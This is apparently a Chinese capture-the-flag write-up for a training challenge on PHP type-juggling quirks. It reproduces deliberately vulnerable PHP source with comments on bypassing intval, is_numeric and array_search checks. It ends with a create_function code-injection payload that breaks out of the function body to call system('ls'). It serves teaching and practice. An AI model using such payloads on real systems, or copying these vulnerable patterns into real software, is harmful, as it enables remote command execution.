php特性

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[NSS内部训练赛 Week1]了解过PHP特性吗

[[NSS内部训练赛 Week1]了解过PHP特性吗

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<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
//非空数组num[]=1会被preg_match判定为0，被intval判定为1
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
//strrev()反转，ctype_alpha()全字母,is_numeric()全数字
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
//is_numeric()从左到右识别，截至无法识别，100000000a判定为100000000
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
//直接数组
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

得到Rc3_function.php

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<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
}

create_function()会创建一个匿名函数,格式如下所示:

function lambda_1($a,$b){

…….

}

shell=&nss=}system(‘ls’);//

≡